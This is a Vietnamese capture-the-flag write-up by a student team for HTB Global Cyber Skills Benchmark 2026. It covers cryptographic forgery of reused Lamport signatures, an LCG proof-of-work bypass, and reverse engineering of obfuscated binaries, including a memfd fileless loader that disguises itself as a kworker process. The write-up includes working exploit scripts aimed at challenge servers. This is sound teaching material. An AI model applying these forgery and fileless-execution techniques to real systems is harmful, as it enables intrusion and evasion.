Write-up Global Cyber Skills Benchmark CTF 2026: Project Nightfall

Trong sự kiện HackTheBox Global Cyber Skills Benchmark CTF 2026 - Project Nightfall, BKSEC đã tham gia giải các challenge thuộc nhiều categories khác nhau. Dưới đây là write-up chi tiết cho các thử thách Crypto, Reverse, Forensics, Web, Pwn, ML/AI, Mobile và OSINT mà chúng mình đã giải.

Trong bài viết này, chúng mình sẽ đề cập đến các challenge ở mức độ Dễ-Trung bình, các challenge ở mức độ Khó/Siêu khó sẽ được đăng tải trong một bài viết khác.

Để có thể hiểu hơn về các writeup dưới đây, các bạn có thể tải attachment của các challenge tại: https://github.com/SoICT-BKSEC/htb-gcsb-challs

Crypto

Once or nothing

Write-up được viết bởi Lê Thế Nhật Anh - Sinh viên ngành An toàn không gian số - K69.

Tìm hiểu challenge

Server code triển khai một hệ thống chữ ký số tương tự lược đồ chữ ký Lamport nhưng tái sử dụng cặp khóa:

• AuthKey (Khóa bí mật): Chứa một mảng gồm 256 cặp số ngẫu nhiên (s0, s1)
• AuthPub (Khóa công khai): Chứa 256 cặp giá trị băm tương ứng (hash(s0), hash(s1))

fn issue_credentials() -> (AuthKey, AuthPub) {
    let key_pairs = std::array::from_fn(|_| {
        (
            U256::from_be_slice(&get_random_bytes(N/8)),
            U256::from_be_slice(&get_random_bytes(N/8))
        )
    });
    let commitments = key_pairs.iter().map(|(s0, s1)| {
                                (hash_digest(&s0.to_be_bytes()), hash_digest(&s1.to_be_bytes()))
                            })
                            .collect::<Vec<_>>()
                            .try_into()
                            .unwrap();
    (AuthKey { key_pairs }, AuthPub { commitments })
}

Quy trình ký/cấp token cho thông điệp:

• Pad thông điệp m thành 256 bit
• Duyệt qua từng bit: nếu bit tại vị trí i là 0 → chọn s0, nếu là 1 → chọn s1

fn issue_token(m: &[u8], auth_key: AuthKey) -> [U256; N] {
    let mut padded = [0u8; N/8];
    padded[(N/8 - m.len().min(N/8))..].copy_from_slice(&m[..m.len().min(N/8)]);
    let message_bits = U256::from_be_bytes((&padded).into());
    let hash_bits = to_bits(message_bits);
    assert!(hash_bits.len() == auth_key.key_pairs.len(), "ERROR: The number of hash bits and the size of the secret key must match.");
    std::array::from_fn(|i| {
        let (zero, one) = auth_key.key_pairs[i];
        if hash_bits[i] { one } else { zero }
    })
}

Xác thực token: băm các số trong token do người dùng gửi lên và so sánh với các chuỗi băm tương ứng từ khóa công khai.

Thử thách chính là tìm token hợp lệ cho thông điệp đích "d9_netadmin". Server là một Oracle — ta có thể gửi thông điệp bất kỳ (trừ thông điệp đích) và nhận được token tương ứng.

Lỗ hổng

Lược đồ chữ ký Lamport tái sử dụng khóa — đây là lỗ hổng lớn nhất. Hàm ký và xác thực thực hiện riêng lẻ trên từng bit. Việc hỏi oracle token cho thông điệp bất kỳ chỉ check xem thông điệp đó có chứa thông điệp đích hay không → ta có thể chia đôi thông điệp đích để hỏi.

Khai thác

Chỉ cần 2 lần request oracle:

1. Gửi msg1 = b'd' + b'\xff' * 10 (11 bytes) → token của padded_msg1 là [21 bytes \x00] + b'd' + [10 bytes \xff]
2. Gửi msg2 = b'9_netadmin' (10 bytes) → token của padded_msg2 là [22 bytes \x00] + b'9_netadmin'
3. Cắt ghép 176 phần tử đầu của token1 (tức phần [21 bytes \x00] + b'd') và 80 phần tử cuối của token2 (tức phần b'9_netadmin') → ta được valid token của padded_target_msg: [21 bytes \x00] + b'd9_netadmin'

Script khai thác

from pwn import *
import re
import binascii

context.log_level = 'error'

def get_token(io, hex_msg):
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'hex: ', hex_msg.encode())

    all_data = b''
    while b'Token issued:' not in all_data:
        all_data += io.recvline()

    token_line = all_data.decode()
    while ']' not in token_line:
        token_line += io.recvline().decode()

    hex_numbers = re.findall(r'Uint\(0x([0-9A-Fa-f]{64})\)', token_line)
    tokens = [int(h, 16) for h in hex_numbers]

    return tokens

def main():
    host = '154.57.164.82'
    port = 30548
    io = remote(host, port)

    msg1 = b'd' + b'\xff' * 10
    hex_msg1 = binascii.hexlify(msg1).decode()
    token1 = get_token(io, hex_msg1)

    msg2 = b'9_netadmin'
    hex_msg2 = binascii.hexlify(msg2).decode()
    token2 = get_token(io, hex_msg2)

    target = b'd9_netadmin'
    final_token = token1[:176] + token2[176:]

    io.sendlineafter(b'> ', b'2')
    io.sendlineafter(b'validate: ', target)

    token_hex_str = ','.join(f"{t:064x}" for t in final_token)
    io.sendlineafter(b'hex): ', token_hex_str.encode())

    try:
        print(io.recvline(timeout=3).decode())
    except Exception as e:
        print(f"Error: {e}")
    io.close()

if __name__ == '__main__':
    main()

Flag: HTB{d0n7_f0rg3t_t0_h4sh_b3f0r3_4nyth1ng_3ls3_7448fc110228c05199bcd26c433b1559}

Twice or nothing

Write-up được viết bởi Nguyễn Trần Mạnh Dũng - Sinh viên ngành Khoa học Máy tính K70.

Tìm hiểu challenge

Đây là phiên bản khó hơn của challenge Once or nothing. Hệ thống sử dụng giao thức Chữ ký số Lamport (Lamport Signature) — một loại chữ ký dựa hoàn toàn trên hàm băm (SHA-256) và có khả năng kháng lượng tử. Hai điểm khác biệt chính:

• Tin nhắn được hash trước khi tạo chữ ký.
• Có giới hạn số lần ký BURN_LIMIT = 5.

Mục tiêu là gửi token xác thực hợp lệ cho TARGET_MSG d9_netadmin. Ta không được xin cấp token trực tiếp cho TARGET_MSG.

Phân tích chữ ký Lamport

Chữ ký Lamport là một chữ ký dùng một lần (OTS). Quy trình hoạt động:

1. Khóa bí mật (AuthKey): Gồm 256 cặp chuỗi ngẫu nhiên 256 bit. Mỗi cặp gồm chuỗi đại diện cho bit 0 và bit 1.
2. Khóa công khai (PubKey): Bản băm SHA-256 của toàn bộ AuthKey.
3. Ký tin nhắn: Tin nhắn được băm SHA-256 → chuỗi 256 bit. Ứng với từng bit tại vị trí i, nếu bit là 0 thì bốc mảnh bí mật nhãn 0, nếu là 1 thì bốc mảnh nhãn 1.

Hành động ký thực chất là chủ động tiết lộ công khai 50% Khóa bí mật (256/512 mảnh). Hệ thống chỉ an toàn nếu bộ khóa bị hủy ngay sau lần ký đầu tiên, vì kẻ tấn công không biết 50% mảnh còn lại để giả mạo tin nhắn khác.

Lỗ hổng: Tái sử dụng AuthKey

Server cho phép sử dụng cùng một bộ khóa để xin cấp token cho tối đa 5 tin nhắn khác nhau. Khi xin chữ ký cho nhiều tin nhắn, các bit 0 và 1 tại các vị trí sẽ đan xen lộ diện. Ta có thể sử dụng 5 lần ký này để thu thập đủ mảnh mật khẩu cần thiết để giả mạo chữ ký.

Khai thác

Bước 1: Tìm 5 message offline. Tính trước bản băm SHA-256 và chuỗi 256 bit của TARGET_MSG. Brute-force local để tìm 5 message sao cho tại mọi vị trí bit từ 0 đến 255, ít nhất một message có giá trị bit trùng với bit tương ứng của TARGET_MSG.

Bước 2: Thu thập các mảnh. issue_token liên tiếp 5 lần để gửi 5 tin nhắn đã tìm được.

Bước 3: Giả mạo chữ ký. Nhặt các mảnh cần thiết từ 5 chữ ký, ghép lại để giả mạo chữ ký cho TARGET_MSG.

Bước 4: Validate và lấy flag. validate_token cho TARGET_MSG bằng chữ ký đã giả mạo.

Script khai thác

import hashlib
import os
import re
from pwn import *

context.log_level = 'error'

TARGET_MSG = b"d9_netadmin"

def to_bits(data: bytes) -> list:
    val = int.from_bytes(data, byteorder='big')
    return [(val >> (255 - i)) & 1 for i in range(256)]

print("[*] Phase 1: Offline Hunting...")
target_hash = hashlib.sha256(TARGET_MSG).digest()
target_bits = to_bits(target_hash)

golden_messages = []
golden_bits = []
attempts = 0

while True:
    attempts += 1
    test_msgs = [os.urandom(16) for _ in range(5)]
    test_bits = [to_bits(hashlib.sha256(m).digest()) for m in test_msgs]

    covered = True
    for i in range(256):
        if not any(test_bits[msg_idx][i] == target_bits[i] for msg_idx in range(5)):
            covered = False
            break

    if covered:
        print(f"[+] BINGO! Found a perfect set of 5 messages after {attempts} attempts.")
        golden_messages = test_msgs
        golden_bits = test_bits
        break

print("[*] Phase 2: Connecting to server...")

io = remote("154.57.164.73", 30517)
signatures = []

for i, msg in enumerate(golden_messages):
    io.recvuntil(b"> ")
    io.sendline(b"1")

    io.recvuntil(b"hex: ")
    io.sendline(msg.hex().encode())

    io.recvuntil(b"Token issued: ")
    sig_raw = io.recvline().strip().decode()

    sig_parsed = re.findall(r'[0-9A-Fa-f]{64}', sig_raw)

    if len(sig_parsed) != 256:
        print(f"[-] ERROR: Only extracted {len(sig_parsed)}/256 signature pieces.")
        exit()

    signatures.append(sig_parsed)
    print(f"    [+] Stole signature piece {i+1}/5")

print("[*] Phase 3: Stitching the admin signature together...")
forged_signature = []

for i in range(256):
    target_bit = target_bits[i]
    for msg_idx in range(5):
        if golden_bits[msg_idx][i] == target_bit:
            leaked_key_piece = signatures[msg_idx][i]
            forged_signature.append(leaked_key_piece)
            break

print("[*] Phase 4: Validating forged admin token...")
io.recvuntil(b"> ")
io.sendline(b"2")

io.recvuntil(b"validate: ")
io.sendline(TARGET_MSG)

io.recvuntil(b"hex): ")
forged_payload = ",".join(forged_signature).encode()
io.sendline(forged_payload)

print(io.recvline().decode().strip())

io.close()

Flag: HTB{y0u_kn0w_1t_1s_c4ll3d_0n3_t1m3_s1gn4tur3_f0r_4_r34s0n_c950e6fd4b6defbe2ee7bb7b51c503f5}

PoW

Write-up được viết bởi Nguyễn Thị Ngọc Linh (genrngx) - sinh viên ngành Điện tử - Viễn thông K68.

Tìm hiểu challenge

Bài này mô phỏng một hệ thống blockchain đơn giản. Server duy trì một ledger và yêu cầu ta "đào" 100 block hợp lệ trong 30 giây. Mỗi block cần cung cấp một nonce (32 bytes) thỏa mãn điều kiện Proof of Work.

Khi khởi động, server:

1. Sinh 3 số nguyên tố 256-bit: n, a, b
2. Tính genesis hash từ chuỗi cố định "Korvia command channel genesis"
3. Khởi tạo ledger với hash đó làm block đầu tiên

class KorviaLedger:
    def __init__(self):
        self.POW_hardness = 50
        self.n = getPrime(256)
        while True:
            self.a = getPrime(256)
            self.b = getPrime(256)
            if self.a < self.n and self.b < self.n:
                break
        genesis_block = sha256(b"Korvia command channel genesis").digest()
        self.ledger = [self.ledger_hash(genesis_block)]

Hàm băm của ledger

def ledger_hash(self, data):
    hash = (self.a * bytes_to_long(data) + self.b) % self.n
    return hash

Đây là công thức của một Linear Congruential Generator (LCG):

$H(\text{data}) = (a \times \text{data} + b) \bmod n$

Đây không phải SHA-256 hay hàm băm mật mã thực sự mà là một phép biến đổi tuyến tính đơn giản — điểm yếu cốt lõi của bài.

Điều kiện Proof of Work

def validate_block(self, blockdata, nonce):
    hash = self.ledger_hash(
        long_to_bytes(self.ledger[-1]) + blockdata + nonce
    )
    hash_bits = bin(hash)[2:]
    hash_bits = "0"*(256 - len(hash_bits)) + hash_bits
    if hash_bits[:self.POW_hardness] == self.POW_hardness*"0":
        self.ledger.append(hash)
        return True

Điều kiện hợp lệ: 50 bit đầu của hash phải bằng 0, tức là $hash < 2^{256 - 50} = 2^{206}$.

Input của hàm hash được ghép từ 3 phần:

ledger[-1] bytes | block_data | nonce (32 byte)
(hash trước)     |(server tạo)| (chúng ta gửi đi)

Lỗ hổng

Nếu hàm băm là SHA-256, ta không thể làm gì được. Nhưng với LCG $H = (a \times X + b) \bmod n$, nếu đã biết $a$, $b$, $n$ và muốn $H$ bằng một giá trị cụ thể, ta có thể giải được $X$ trực tiếp mà không cần brute-force. Server công khai toàn bộ $a$, $b$, $n$ ngay từ đầu.

Ý tưởng: thay vì tìm nonce ngẫu nhiên thỏa mãn 50 bit đầu = 0, ta chọn ép $hash = 0$. Số 0 biểu diễn nhị phân 256 bit là 000...0 — 50 bit đầu đều bằng 0, hiển nhiên thỏa điều kiện PoW. Khi $hash = 0$, block tiếp theo sẽ dùng long_to_bytes(0) = b'\x00' làm tiền tố, một giá trị ta biết trước hoàn toàn từ block 2 trở đi.

Khai thác

Nonce gửi lên là 32 bytes = 256 bits. Ta tách được:

$\text{input} = \text{bytes\_to\_long}([\text{prev\_hash}][\text{block\_data}]) \times 2^{256} + \text{bytes\_to\_long}(\text{nonce})$

Ta cần $hash = 0$, tức $a \times \text{input} + b \equiv 0 \pmod{n}$.

Thay $\text{input} = \text{prefix\_val} \times 2^{256} + X$ vào và giải:

$X \equiv a^{-1} \times \left(-(a \times \text{prefix\_val} \times 2^{256} + b)\right) \pmod{n}$

Tính $a^{-1} \bmod n$ bằng thuật toán Euclidean mở rộng (cả $a$ và $n$ đều nguyên tố nên $\gcd(a, n) = 1$).

Sau khi mine đủ 100 block, server gửi $f\_hash = (a \times \text{bytes\_to\_long}(\text{FLAG}) + b) \bmod n$.

Giải ngược: $\text{flag\_number} = (f\_hash - b) \times a^{-1} \bmod n$.

Vấn đề latency: Server đặt tại Amsterdam, RTT từ Việt Nam ~300-350ms, với 100 block × 350ms = 35 giây — quá timeout. Lần đầu chạy trên máy local, dừng tại block 73:

Thử GitHub Codespaces vùng US còn tệ hơn — timeout tại block 59:

Giải pháp: đổi vùng Codespaces sang West Europe, RTT giảm xuống ~45ms, toàn bộ 100 block hoàn thành trong 4.53 giây:

Script hoàn chỉnh

import socket
from hashlib import sha256
from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse
import re
import time

class FastSocket:
    def __init__(self, host, port):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
        self.sock.connect((host, port))
        self.sock.settimeout(15.0)
        self.buffer = b""

    def read_until(self, delimiter):
        while delimiter not in self.buffer:
            chunk = self.sock.recv(8192)
            if not chunk:
                raise ConnectionError("Server đã ngắt kết nối (Hết thời gian 30s!)")
            self.buffer += chunk
        parts = self.buffer.split(delimiter, 1)
        res = parts[0] + delimiter
        self.buffer = parts[1] if len(parts) > 1 else b""
        return res

    def send(self, data):
        self.sock.sendall(data)

def solve(host, port):
    print(f"[*] Đang kết nối tới {host}:{port} (Đã bật TCP_NODELAY)...")
    start_time = time.time()
    try:
        io = FastSocket(host, port)
    except Exception as e:
        print(f"[-] Không thể kết nối: {e}")
        return

    io.read_until(b"Ledger hash parameters are ")
    params = io.read_until(b"\n").decode()
    a = int(re.search(r'a = (\d+)', params).group(1))
    b = int(re.search(r'b = (\d+)', params).group(1))
    n = int(re.search(r'n = (\d+)', params).group(1))

    a_inv = inverse(a, n)
    N256 = pow(2, 256, n)

    genesis = sha256(b"Korvia command channel genesis").digest()
    curr_L = (a * bytes_to_long(genesis) + b) % n

    print(f"[*] Khởi động thành công! Bắt đầu quét 100 blocks...")

    for i in range(1, 101):
        try:
            raw_data = io.read_until(b"Enter block nonce in hex: ")

            block_data = b""
            for line in raw_data.split(b'\n'):
                line = line.strip()
                if line.startswith(b"Proxy"):
                    block_data += line + b"\n"

            L_bytes = b'\x00' if curr_L == 0 else long_to_bytes(curr_L)

            prefix_val = bytes_to_long(L_bytes + block_data)
            target = (-(a * (prefix_val * N256 % n) + b)) % n
            X = (target * a_inv) % n

            io.send(f"{X:064x}\n".encode())
            curr_L = 0

            if i % 10 == 0:
                print(f"[*] Đã xong block {i}/100 ({(time.time() - start_time):.2f}s)")

        except ConnectionError as e:
            print(f"\n[-] {e} (Dừng lại ở block {i})")
            return
        except Exception as e:
            print(f"\n[-] Lỗi tại block {i}: {e}")
            return

    print("[*] Đã gửi đủ 100 Block. Đang đợi flag...")

    io.sock.settimeout(2.0)
    try:
        while True:
            chunk = io.sock.recv(4096)
            if not chunk: break
            io.buffer += chunk
    except:
        pass

    final = io.buffer.decode()
    match = re.search(r'Flag payload: ([0-9a-f]+)', final)

    if match:
        f_hash = int(match.group(1), 16)
        f_val = ((f_hash - b) * a_inv) % n
        print(f"\n[*] Flag của bạn đây:")
        print(f"         {long_to_bytes(f_val).decode()}")
        print(f"[*] Tổng thời gian chạy: {(time.time() - start_time):.2f} giây")
    else:
        print("\n[-] Không tìm thấy cờ, server trả về:\n")
        print(final[-500:])

if __name__ == "__main__":
    solve("154.57.164.67", 30405)

Flag: HTB{50wing_7h3_s33d5_0f_my_pow}

Reverse

Shadow Ledger

Write-up được viết bởi Đoàn Công Minh - sinh viên ngành Kỹ thuật Máy tính - K69.

Tìm hiểu challenge

Đề bài cung cấp cho mình một file shadow_ledger, sau khi kiểm tra xác định đây là file ELF 64-bit.

Trước tiên kiểm tra bằng strings:

Flag xuất hiện luôn trong chuỗi. Khá ngon ăn nhưng hãy tìm hiểu logic hoạt động của chương trình.

Phân tích

Mở file bằng IDA, hàm main yêu cầu nhập 8 ký tự hex, sau đó truyền v4 = 0 vào hàm sub_401196:

v4 = 0;
if ( (unsigned int)__isoc99_sscanf(a2[1], &unk_4021BC, &v4) == 1 )
{
    sub_401196(v4);

Đi vào hàm sub_401196, biến v4 bị thao tác bởi nhiều phép toán:

Nhưng do truyền tham trị, v4 bên ngoài vẫn bằng 0. Tiếp theo là đoạn code so sánh từng bit:

for ( i = 0; i <= 31; ++i )
{
    v6 = (v4 >> i) & 1;
    v5 = (0xDEADC0DE >> i) & 1;
    sub_40130F(v6 == v5);
}

Vì v4 = 0, đoạn code thực chất đang kiểm tra v6 có bằng bit tương ứng của 0xDEADC0DE hay không. Hàm sub_40130F tăng biến qword_404050 lên 1 nếu bit trùng nhau:

Cuối cùng, nếu qword_404050 == 32 thì in ra flag:

if ( qword_404050 == 32 )
{
    puts("\n  [+] VERIFICATION COMPLETE");
    puts("  [+] NIGHTFALL AUTHORISATION ACCEPTED");
    puts("  [+] HTB{c0unt_th3_sh4d0ws_0r_d13_try1ng}\n");
}

Key đúng để nhập là 0xDEADC0DE. Chạy chương trình:

Flag: HTB{c0unt_th3_sh4d0ws_0r_d13_try1ng}

Dudsat

Write-up được viết bởi Đoàn Công Minh - sinh viên ngành Kỹ thuật Máy tính - K69.

Tìm hiểu challenge

Đề bài cung cấp 1 file ELF 64-bit lbproc và comms.dat (dữ liệu đầu vào).

Đầu tiên kiểm tra lbproc bằng file:

File đã bị stripped. Chạy strings để xem có chuỗi nào thú vị không:

Phát hiện một số chuỗi đáng chú ý: NO-LOCK, LOCK, ORBIT-9 Solutions - Link Budget Processor v4.1.2. Chương trình nhận đầu vào là một file nhật ký — tiện đề bài cung cấp comms.dat. Chạy thử:

File in ra 26 bản ghi, tương ứng với 26 window ID khác nhau, trong đó 24 bản ghi có status LOCK, 2 cái còn lại là NO-LOCK.

Phân tích hàm main

Mở lbproc bằng IDA, tìm hàm main:

Đầu tiên là đoạn anti-debug đơn giản — gọi ptrace(PTRACE_TRACEME) để phát hiện debugger:

Sau đó mở file ở chế độ đọc nhị phân, khởi tạo v4 (số bản ghi LOCK) và v5 (tổng số bản ghi) bằng 0:

Ở đây mình tập trung vào đoạn code quan trọng nhất - logic xử lý file comms.dat:

Mỗi vòng lặp while ( fread(&ptr, 0x30u, 1u, v3) == 1 ) đọc 0x30 = 48 byte từ file. Mặc định status là NO-LOCK, chuyển thành LOCK nếu thỏa 3 điều kiện:

• v15 >= 5.0
• v16 >= 12.0
• fabs(v14 - (v13 / 418229116.0 + 1.0) * v12) <= 5000.0

Hằng số v10 = 0x41B1DE784A000000LL được ghi nhưng không thấy dùng trong code giả. Ta cần chuyển sang Assembly để tìm hiểu.

Phân tích code Assembly

Click tại dòng v10 = 0x41B1DE784A000000LL, ấn Tab chuyển sang Assembly:

Giữa các lệnh mulsd, subsd có một đoạn lệnh khả nghi:

cvttsd2si eax, xmm2
movzx   eax, al
movzx   eax, byte ptr [rdx+rax]
mov     [rsp+0B8h+var_B1], al
movzx   eax, [rsp+0B8h+var_B1]

• cvttsd2si eax, xmm2 chuyển xmm2 (giá trị diff) sang dạng số nguyên (integer): eax = (int)diff.
• movzx eax, al lấy byte thấp nhất: eax = eax & 0xff → nằm trong [0, 255].
• Sau đó byte ptr [rdx+rax] truy xuất phần tử trong mảng tại rdx, lưu vào stack — nhưng không dùng tiếp, như thể cố tình bị ẩn.

Tìm kiếm dấu vết các byte ẩn

Đi theo thanh ghi rdx, thấy nó được gán cho một mảng:

Mảng này kích thước 256 bytes (0x4041BF - 0x4040C0 + 1 = 0x100 = 256):

Mảng được gọi từ hàm sub_4011B0 nằm trong init_array — đây là hàm được khởi chạy trước cả hàm main:

Hàm này tạo bảng hoán vị 256 byte từ seed 135112. Từ mã giả này có thể nhận định đoạn mã nguồn gốc có thể như sau:

uint8_t table[256];

void init_table(void) {
    uint32_t seed = 135112;

    for (int i = 0; i < 256; i++)
        table[i] = i;

    for (int p = 255; p >= 0; p--) {
        seed = seed * 1664525 + 1013904223;
        int j = seed % (p + 1);

        uint8_t tmp = table[p];
        table[p] = table[j];
        table[j] = tmp;
    }
}

Trích xuất byte ẩn

sub_4011B0 tạo lookup_table[256], sau đó main dùng nó để lấy 26 byte ẩn qua 26 lần lặp. Tạo lại lookup_table và kiểm tra các giá trị đầu:

72 84 66 123 ...

ASCII: H T B { — khớp định dạng flag HTB{...}.

Script giải

import struct

RECORD_SIZE = 0x30
CONST = 418229116.0

def build_table():
    table = list(range(256))
    seed = 135112

    for p in range(255, -1, -1):
        seed = (1664525 * seed + 1013904223) & 0xffffffff
        j = seed % (p + 1)
        table[p], table[j] = table[j], table[p]

    return table

def main():
    table = build_table()

    with open("comms.dat", "rb") as f:
        data = f.read()

    out = []

    for off in range(0, len(data), RECORD_SIZE):
        rec = data[off:off + RECORD_SIZE]

        t, a, b, c, m1, m2, win = struct.unpack("<Qdddffi", rec[:44])

        x = (b / CONST + 1.0) * a
        diff = c - x
        idx = int(diff) & 0xff
        ch = table[idx]

        out.append(ch)
        print(f"record={win:03d} diff={diff:9.3f} idx={idx:3d} byte={ch:3d} char={chr(ch)!r}")

    print()
    print(bytes(out).decode())


if __name__ == "__main__":
    main()

Flag: HTB{d0ppl3r_p3rm_l34k_h7b}

Phantom Channel

Write-up được viết bởi Đoàn Công Minh - sinh viên ngành Kỹ thuật Máy tính - K69.

Tìm hiểu challenge

Đề bài cung cấp 1 file binary: nightfall_loader. Kiểm tra nhanh phát hiện các thông tin sau: ELF 64-bit ARM64/AArch64, stripped.

Kiểm tra bằng file:

Chạy strings, thu được các chuỗi đáng chú ý — inflate 1.2.13, incorrect header check, invalid block type, stream end là của zlib. Các chuỗi /proc/self/fd/%d, kworker/u8:3, NIGHTFALL_SESSION=DEADLIGHT gợi ý rằng chương trình tạo file trong memory rồi thực thi nó qua symlink /proc/self/fd/<fd>.

Đây là dạng bài chạy ELF từ Memory.

Phân tích bằng IDA

Entrypoint của binary tại địa chỉ 0x400288:

Ở đây, _start chỉ là code khởi tạo. Kiểm tra assembly, thấy con trỏ hàm tại off_42FFD0 trỏ tới loc_400160 — tương đương hàm main:

Mình phát hiện IDA phân tích nhầm ranh giới hàm. Do vậy thực hiện sửa End address của sub_400130 thành 0x400160, rồi tạo hàm mới tại 0x400160:

Sau khi sửa, thu được code giả của loader_main:

Phân tích loader_main

Đoạn 1: Tạo memfd để chứa payload trong RAM

Lời gọi hệ thống (syscall) 279 trên Linux AArch64 là memfd_create:

fd = memfd_create("", 0);

Đoạn 2: Giải nén payload

sub_404A84(0x400000) cấp phát buffer có kích cỡ 4 MB. Hàm sub_400590 thực chất là zlib uncompress:

out_len = 0x400000;
uncompress(buf, &out_len, &unk_40B6B0, 0x5AE3);

Thông tin quan trọng: địa chỉ dữ liệu nén = 0x40B6B0, kích thước = 0x5AE3. Bytes đầu 78 DA là header zlib.

Đoạn 3: Ghi payload vào memfd rồi thực thi

write(fd, buf, out_len);
snprintf(path, 64, "/proc/self/fd/%d", fd);
execve(path,
       (char *[]){"kworker/u8:3", NULL},
       (char *[]){"NIGHTFALL_SESSION=DEADLIGHT", NULL});

Trích xuất payload bằng IDAPython

import ida_bytes
import zlib

ea = 0x40B6B0
size = 0x5AE3

compressed = ida_bytes.get_bytes(ea, size)
print("compressed first bytes:", compressed[:8].hex())

payload = zlib.decompress(compressed)

out_path = "/tmp/nightfall_payload"
with open(out_path, "wb") as f:
    f.write(payload)

print("wrote", len(payload), "bytes to", out_path)
print("payload first bytes:", payload[:16].hex())

Output:

compressed first bytes: 78daacbd...
wrote 66856 bytes to /tmp/nightfall_payload
payload first bytes: 7f454c46020101000000000000000000

7f 45 4c 46 là header ELF — payload sau giải nén là một file ELF khác. Chạy strings trên payload:

Flag: HTB{l1v1ng_1n_m3m0ry_n0_tr4c3_l3ft}

Enthiran

Write-up được viết bởi Nguyễn Gia Khánh - Sinh viên ngành Tài năng Khoa học Máy tính - K69.

Tìm hiểu challenge

Bài cung cấp một file ELF có "chức năng" chẩn đoán tình trạng hệ thống.

Luồng của hàm main khớp với giao diện in trên CLI: in thông tin máy, đọc dữ liệu từ /proc và /dev/urban, tạo các đặc trưng dạng số thực, đưa qua sub_1ED0 rồi in ra diagnostic score gồm 8 số thực.

Hàm sub_1ED0 nhận feature vector và biến đổi thành output vector, nhưng chỉ phục vụ pipeline chẩn đoán — chưa thấy liên hệ trực tiếp tới logic flag.

Mô tả challenge gợi ý: binary không thực hiện so sánh, giải mã hay in ra flag theo cách có thể trace trace được — mọi hành vi đều được ủy quyền cho một "learned model embedded" nằm trong data section.

Giải mã — Brute-force

Chuyển sang rà soát các hàm không được gọi trực tiếp. sub_2210 nổi bật vì thao tác với hai blob hardcoded tại 0x3308 và 0x32c0, có pattern giống routine giải mã: XOR, rotate, nhân với hằng số lớn.

Hàm sub_2210 nhận a1 (key/seed) và a2 (output buffer). a1 dùng để giải mã 8 bytes đầu của a2, sau đó tính seed/hash v4 rồi key v14 để giải mã phần còn lại.

Từ 8 byte đầu của a2, ta có thể suy ra a1[i]: giá trị (a2[i] ^ byte_3308[i]) / 256.0 biểu diễn dưới dạng double, bit-pattern 64-bit của double đó chính là a1[i].

Vì 4 byte đầu của a2 đã biết là HTB{, ta brute-force 4 byte còn thiếu:

import itertools, struct, string

M = 0xffffffffffffffff

byte_330 = bytes.fromhex("DE AD BE EF CA FE BA BE")
byte_32C = bytes.fromhex("33 D5 F5 55 07 F8 45 17 D0 7E 23 27 4E 3C 79 EF 78")

alphabet = (
    string.ascii_letters.encode()
    + string.digits.encode()
    + b"_{}-@$!+*#%&/\\|()[]=<>?:.;,"
)

def trym(a2):
    a1 = [
        struct.unpack("<Q", struct.pack("<d", (a2[i] ^ byte_330[i]) / 256.0))[0]
        for i in range(8)
    ]

    v4 = 0x736F6D6570736575

    for i in range(8):
        v6 = (a1[i] ^ v4) & M
        v7 = ((0x9E3779B97F4A7C15 * v6) & M) ^ (((v6 << 17) | (v6 >> 47)) & M)
        v7 = ((v7 << 31) | (v7 >> 33)) & M
        v4 = (v7 ^ ((0xFF51AFD7ED558CCD * (v7 >> 33)) & M)) & M

    v14 = bytearray()
    v8 = 0

    for i in range(len(byte_32C)):
        v10 = (v8 ^ v4) & M
        v8 = (v8 + 0x6C62272E07BB0142) & M
        v11 = (0xBF58476D1CE4E5B9 * (((v10 << 13) | (v10 >> 51)) & M)) & M
        v4 = (v11 ^ (v11 >> 31)) & M
        v14.append(byte_32C[i] ^ (v4 & 0xff))

    return a2 + bytes(v14)

for guess in itertools.product(alphabet, repeat=4):
    if ord("}") in guess[:3]:
        continue

    a2 = b"HTB{" + bytes(guess)
    flag = trym(a2)

    if flag.endswith(b"}") and all(chr(c) in string.printable for c in flag):
        print(flag)

Flag: HTB{n3ur4l_r3v3rs3r_1337}

Sysprobe

Write-up được viết bởi Nguyễn Gia Khánh - Sinh viên ngành Tài năng Khoa học Máy tính - K69.

Stage 1 — Packed?

File ELF cung cấp có dấu hiệu giống một custom loader. Khi mở bằng IDA, phần mã tại entry point không được khôi phục thành pseudocode hoàn chỉnh, nhưng đoạn assembly tương đối ngắn nên vẫn phân tích trực tiếp được.

Pseudocode dựng lại:

void _start() {
    void* allocated_mem = mmap(0, dword_804F4, PROT_READ | PROT_WRITE | PROT_EXEC,
                              MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    if (allocated_mem == MAP_FAILED) exit(0);

    int status = sub_8045B5(dword_804F80, allocated_mem, dword_804F84);

    if (status != 0) exit(0);

    void (*payload_entry)(int, char**, char**) =
        (void (*)(int, char**, char**))((char*)allocated_mem + dword_804F88);

    payload_entry(argc, argv, envp);
    exit(0);
}

Ở đây mình nhận ra đặc trưng của custom loader: cấp phát vùng nhớ RWX, thao tác tại vùng nhớ đó, rồi nhảy tới để thực thi.

Tiến hành sử dụng GDB, thực hiện dump payload sau khi sub_8045B5 chạy xong:

File dump ra là ELF hợp lệ:

Stage 2 — VM-obfuscated

Đưa payload đã dump vào IDA, nhận thấy logic chính bị làm rối bằng kỹ thuật VM obfuscation — biến đổi logic gốc thành tập lệnh ảo, binary chứa bytecode cùng interpreter/VM để thực thi.

Bắt đầu phân tích từ payload_entry:

Bytecode được giải mã theo công thức: v1[i] = binary_vm_bytecode_bin_start[i] ^ ((i + 66) & 0xff).

Bytecode sau giải mã có dạng:

01 00 00 04 0e 01 0e 03 0e 04 01 02 01 00 0f cc
14 00 20 88 01 00 3b 00 21 ca 01 00 64 00 21 e1
01 00 37 00 21 c9 01 00 2d 00 21 99 01 00 2e 00
21 e0 01 00 2f 00 21 d9 01 01 05 00 22 ff

Phân tích cấu trúc máy ảo

VM gồm: VM Entry/Exit, VM Loop & Dispatcher, và Handlers. Xác định được cấu trúc tổng quát trong vm_run:

Đặt breakpoint tại dispatcher, log opcode và phân tích các handler được gọi tới:

Bytecode có pattern rõ ràng: 0x20 khởi tạo, cặp 0x01 + 0x21 lặp lại để cập nhật trạng thái, 0x22 chuyển đổi thành byte 0/1, 0xff kết thúc.

Khôi phục flag

Handler 0x22 ghi kết quả tại [rbx+0x5054]. Chạy file và dump vùng kết quả:

